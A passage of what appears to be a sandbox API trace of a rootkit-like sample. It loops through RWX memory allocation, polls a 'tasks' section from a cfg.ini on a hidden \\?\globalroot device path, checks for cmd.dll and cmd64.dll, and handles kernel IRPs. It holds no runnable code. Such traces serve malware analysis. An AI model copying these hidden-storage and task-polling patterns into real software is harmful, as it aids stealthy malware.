_Dest="0d24eb7c\\cfg.ini") returned 16 [0122.909] KeEnterCriticalRegion () [0122.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.909] ExFreePoolWithTag (P=0xfffffa8003be8720, Tag=0x0) [0122.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.909] KeLeaveCriticalRegion () [0122.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.909] ReleaseMutex (hMutex=0xf0) returned 1 [0122.909] Sleep (dwMilliseconds=0x927c0) [0122.925] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.925] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.925] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.925] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.925] KeEnterCriticalRegion () [0122.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.925] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.925] IdePortDispatch () returned 0x103 [0122.925] KeWaitForMutexObject () returned 0x0 [0122.925] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.925] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.925] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.925] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.925] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.925] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7010 [0122.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.925] KeLeaveCriticalRegion () [0122.925] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.925] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.926] KeEnterCriticalRegion () [0122.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.926] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.926] KeLeaveCriticalRegion () [0122.926] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.926] KeEnterCriticalRegion () [0122.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.926] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.926] IdePortDispatch () returned 0x103 [0122.926] KeWaitForMutexObject () returned 0x0 [0122.926] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.926] KeLeaveCriticalRegion () [0122.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.926] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.926] KeEnterCriticalRegion () [0122.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.926] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7a000 [0122.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.926] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.926] IdePortDispatch () returned 0x103 [0122.926] KeWaitForMutexObject () returned 0x0 [0122.926] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.927] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.927] IdePortDispatch () returned 0x103 [0122.927] KeWaitForMutexObject () returned 0x0 [0122.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.927] KeLeaveCriticalRegion () [0122.927] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.927] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.927] KeEnterCriticalRegion () [0122.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.927] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.927] KeLeaveCriticalRegion () [0122.927] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.928] KeEnterCriticalRegion () [0122.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.928] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.928] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.928] KeLeaveCriticalRegion () [0122.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.928] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.928] KeEnterCriticalRegion () [0122.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.928] ExFreePoolWithTag (P=0xfffffa8003be7010, Tag=0x0) [0122.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.928] KeLeaveCriticalRegion () [0122.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.928] ReleaseMutex (hMutex=0xf0) returned 1 [0122.928] Sleep (dwMilliseconds=0x927c0) [0122.943] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.943] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.943] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.943] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.943] KeEnterCriticalRegion () [0122.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.943] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.943] IdePortDispatch () returned 0x103 [0122.943] KeWaitForMutexObject () returned 0x0 [0122.943] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.943] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.943] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.943] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.943] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.943] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003825af0 [0122.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.943] KeLeaveCriticalRegion () [0122.943] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.943] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.943] KeEnterCriticalRegion () [0122.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.943] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.943] KeLeaveCriticalRegion () [0122.943] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.943] KeEnterCriticalRegion () [0122.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.944] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.944] IdePortDispatch () returned 0x103 [0122.944] KeWaitForMutexObject () returned 0x0 [0122.944] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.944] KeLeaveCriticalRegion () [0122.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.944] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.944] KeEnterCriticalRegion () [0122.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.944] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7f000 [0122.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.944] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.944] IdePortDispatch () returned 0x103 [0122.944] KeWaitForMutexObject () returned 0x0 [0122.944] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.944] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.944] IdePortDispatch () returned 0x103 [0122.944] KeWaitForMutexObject () returned 0x0 [0122.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.945] KeLeaveCriticalRegion () [0122.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.945] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.945] KeEnterCriticalRegion () [0122.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.945] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.945] KeLeaveCriticalRegion () [0122.945] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.945] KeEnterCriticalRegion () [0122.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.945] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.945] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.945] KeLeaveCriticalRegion () [0122.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.945] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.945] KeEnterCriticalRegion () [0122.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.946] ExFreePoolWithTag (P=0xfffffa8003825af0, Tag=0x0) [0122.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.946] KeLeaveCriticalRegion () [0122.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.946] ReleaseMutex (hMutex=0xf0) returned 1 [0122.946] Sleep (dwMilliseconds=0x927c0) [0122.959] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.959] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.959] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.960] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.960] KeEnterCriticalRegion () [0122.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.960] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.960] IdePortDispatch () returned 0x103 [0122.960] KeWaitForMutexObject () returned 0x0 [0122.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.960] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.960] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.960] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.960] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.960] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd2f0 [0122.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.960] KeLeaveCriticalRegion () [0122.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.960] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.960] KeEnterCriticalRegion () [0122.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.960] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.960] KeLeaveCriticalRegion () [0122.960] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.960] KeEnterCriticalRegion () [0122.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.960] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.960] IdePortDispatch () returned 0x103 [0122.960] KeWaitForMutexObject () returned 0x0 [0122.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.961] KeLeaveCriticalRegion () [0122.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.961] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.961] KeEnterCriticalRegion () [0122.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.961] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d84000 [0122.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.961] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.961] IdePortDispatch () returned 0x103 [0122.961] KeWaitForMutexObject () returned 0x0 [0122.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.961] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.961] IdePortDispatch () returned 0x103 [0122.961] KeWaitForMutexObject () returned 0x0 [0122.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.961] KeLeaveCriticalRegion () [0122.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.962] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.962] KeEnterCriticalRegion () [0122.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.962] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.962] KeLeaveCriticalRegion () [0122.962] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.962] KeEnterCriticalRegion () [0122.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.962] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.962] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.962] KeLeaveCriticalRegion () [0122.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.962] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.962] KeEnterCriticalRegion () [0122.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.962] ExFreePoolWithTag (P=0xfffffa8003bbd2f0, Tag=0x0) [0122.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.962] KeLeaveCriticalRegion () [0122.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.962] ReleaseMutex (hMutex=0xf0) returned 1 [0122.962] Sleep (dwMilliseconds=0x927c0) [0122.977] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.977] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.977] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.977] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.977] KeEnterCriticalRegion () [0122.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.977] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.977] IdePortDispatch () returned 0x103 [0122.977] KeWaitForMutexObject () returned 0x0 [0122.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.977] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.977] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.977] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: 